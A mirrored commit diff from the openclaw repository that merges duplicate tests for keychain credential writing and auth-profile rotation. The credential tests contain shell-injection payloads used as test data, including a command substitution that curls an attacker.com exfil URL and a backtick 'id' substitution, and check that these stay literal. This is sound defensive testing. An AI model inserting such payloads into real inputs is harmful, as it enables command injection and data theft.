mirror of
https://github.com/openclaw/openclaw.git
synced 2026-05-08 14:28:27 +00:00
test(core): dedupe auth rotation and credential injection specs
This commit is contained in:
@@ -90,54 +90,43 @@ describe("cli credentials", () => {
|
|||||||
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
|
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
|
||||||
});
|
});
|
||||||
|
|
||||||
it("prevents shell injection via malicious OAuth token values", async () => {
|
it("prevents shell injection via untrusted token payload values", async () => {
|
||||||
const maliciousToken = "x'$(curl attacker.com/exfil)'y";
|
const cases = [
|
||||||
|
|
||||||
mockExistingClaudeKeychainItem();
|
|
||||||
|
|
||||||
const ok = writeClaudeCliKeychainCredentials(
|
|
||||||
{
|
{
|
||||||
access: maliciousToken,
|
access: "x'$(curl attacker.com/exfil)'y",
|
||||||
refresh: "safe-refresh",
|
refresh: "safe-refresh",
|
||||||
expires: Date.now() + 60_000,
|
expectedPayload: "x'$(curl attacker.com/exfil)'y",
|
||||||
},
|
},
|
||||||
{ execFileSync: execFileSyncMock },
|
|
||||||
);
|
|
||||||
|
|
||||||
expect(ok).toBe(true);
|
|
||||||
|
|
||||||
// The -w argument must contain the malicious string literally, not shell-expanded
|
|
||||||
const addCall = getAddGenericPasswordCall();
|
|
||||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
|
||||||
const wIndex = args.indexOf("-w");
|
|
||||||
const passwordValue = args[wIndex + 1];
|
|
||||||
expect(passwordValue).toContain(maliciousToken);
|
|
||||||
// Verify it was passed as a direct argument, not built into a shell command string
|
|
||||||
expect(addCall?.[0]).toBe("security");
|
|
||||||
});
|
|
||||||
|
|
||||||
it("prevents shell injection via backtick command substitution in tokens", async () => {
|
|
||||||
const backtickPayload = "token`id`value";
|
|
||||||
|
|
||||||
mockExistingClaudeKeychainItem();
|
|
||||||
|
|
||||||
const ok = writeClaudeCliKeychainCredentials(
|
|
||||||
{
|
{
|
||||||
access: "safe-access",
|
access: "safe-access",
|
||||||
refresh: backtickPayload,
|
refresh: "token`id`value",
|
||||||
expires: Date.now() + 60_000,
|
expectedPayload: "token`id`value",
|
||||||
},
|
},
|
||||||
{ execFileSync: execFileSyncMock },
|
] as const;
|
||||||
);
|
|
||||||
|
|
||||||
expect(ok).toBe(true);
|
for (const testCase of cases) {
|
||||||
|
execFileSyncMock.mockClear();
|
||||||
|
mockExistingClaudeKeychainItem();
|
||||||
|
|
||||||
// Backtick payload must be passed literally, not interpreted
|
const ok = writeClaudeCliKeychainCredentials(
|
||||||
const addCall = getAddGenericPasswordCall();
|
{
|
||||||
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
access: testCase.access,
|
||||||
const wIndex = args.indexOf("-w");
|
refresh: testCase.refresh,
|
||||||
const passwordValue = args[wIndex + 1];
|
expires: Date.now() + 60_000,
|
||||||
expect(passwordValue).toContain(backtickPayload);
|
},
|
||||||
|
{ execFileSync: execFileSyncMock },
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(ok).toBe(true);
|
||||||
|
|
||||||
|
// Token payloads must remain literal in argv, never shell-interpreted.
|
||||||
|
const addCall = getAddGenericPasswordCall();
|
||||||
|
const args = (addCall?.[1] as string[] | undefined) ?? [];
|
||||||
|
const wIndex = args.indexOf("-w");
|
||||||
|
const passwordValue = args[wIndex + 1];
|
||||||
|
expect(passwordValue).toContain(testCase.expectedPayload);
|
||||||
|
expect(addCall?.[0]).toBe("security");
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
it("falls back to the file store when the keychain update fails", async () => {
|
it("falls back to the file store when the keychain update fails", async () => {
|
||||||
|
|||||||
@@ -272,45 +272,40 @@ async function runTurnWithCooldownSeed(params: {
|
|||||||
}
|
}
|
||||||
|
|
||||||
describe("runEmbeddedPiAgent auth profile rotation", () => {
|
describe("runEmbeddedPiAgent auth profile rotation", () => {
|
||||||
it("rotates for auto-pinned profiles", async () => {
|
it("rotates for auto-pinned profiles across retryable stream failures", async () => {
|
||||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
const cases = [
|
||||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
{
|
||||||
try {
|
errorMessage: "rate limit",
|
||||||
await writeAuthStore(agentDir);
|
|
||||||
mockFailedThenSuccessfulAttempt("rate limit");
|
|
||||||
await runAutoPinnedOpenAiTurn({
|
|
||||||
agentDir,
|
|
||||||
workspaceDir,
|
|
||||||
sessionKey: "agent:test:auto",
|
sessionKey: "agent:test:auto",
|
||||||
runId: "run:auto",
|
runId: "run:auto",
|
||||||
});
|
},
|
||||||
|
{
|
||||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
|
errorMessage: "request ended without sending any chunks",
|
||||||
await expectProfileP2UsageUpdated(agentDir);
|
|
||||||
} finally {
|
|
||||||
await fs.rm(agentDir, { recursive: true, force: true });
|
|
||||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
it("rotates when stream ends without sending chunks", async () => {
|
|
||||||
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
|
||||||
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
|
||||||
try {
|
|
||||||
await writeAuthStore(agentDir);
|
|
||||||
mockFailedThenSuccessfulAttempt("request ended without sending any chunks");
|
|
||||||
await runAutoPinnedOpenAiTurn({
|
|
||||||
agentDir,
|
|
||||||
workspaceDir,
|
|
||||||
sessionKey: "agent:test:empty-chunk-stream",
|
sessionKey: "agent:test:empty-chunk-stream",
|
||||||
runId: "run:empty-chunk-stream",
|
runId: "run:empty-chunk-stream",
|
||||||
});
|
},
|
||||||
|
] as const;
|
||||||
|
|
||||||
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
|
for (const testCase of cases) {
|
||||||
await expectProfileP2UsageUpdated(agentDir);
|
runEmbeddedAttemptMock.mockClear();
|
||||||
} finally {
|
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
|
||||||
await fs.rm(agentDir, { recursive: true, force: true });
|
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
|
||||||
await fs.rm(workspaceDir, { recursive: true, force: true });
|
try {
|
||||||
|
await writeAuthStore(agentDir);
|
||||||
|
mockFailedThenSuccessfulAttempt(testCase.errorMessage);
|
||||||
|
await runAutoPinnedOpenAiTurn({
|
||||||
|
agentDir,
|
||||||
|
workspaceDir,
|
||||||
|
sessionKey: testCase.sessionKey,
|
||||||
|
runId: testCase.runId,
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
|
||||||
|
await expectProfileP2UsageUpdated(agentDir);
|
||||||
|
} finally {
|
||||||
|
await fs.rm(agentDir, { recursive: true, force: true });
|
||||||
|
await fs.rm(workspaceDir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user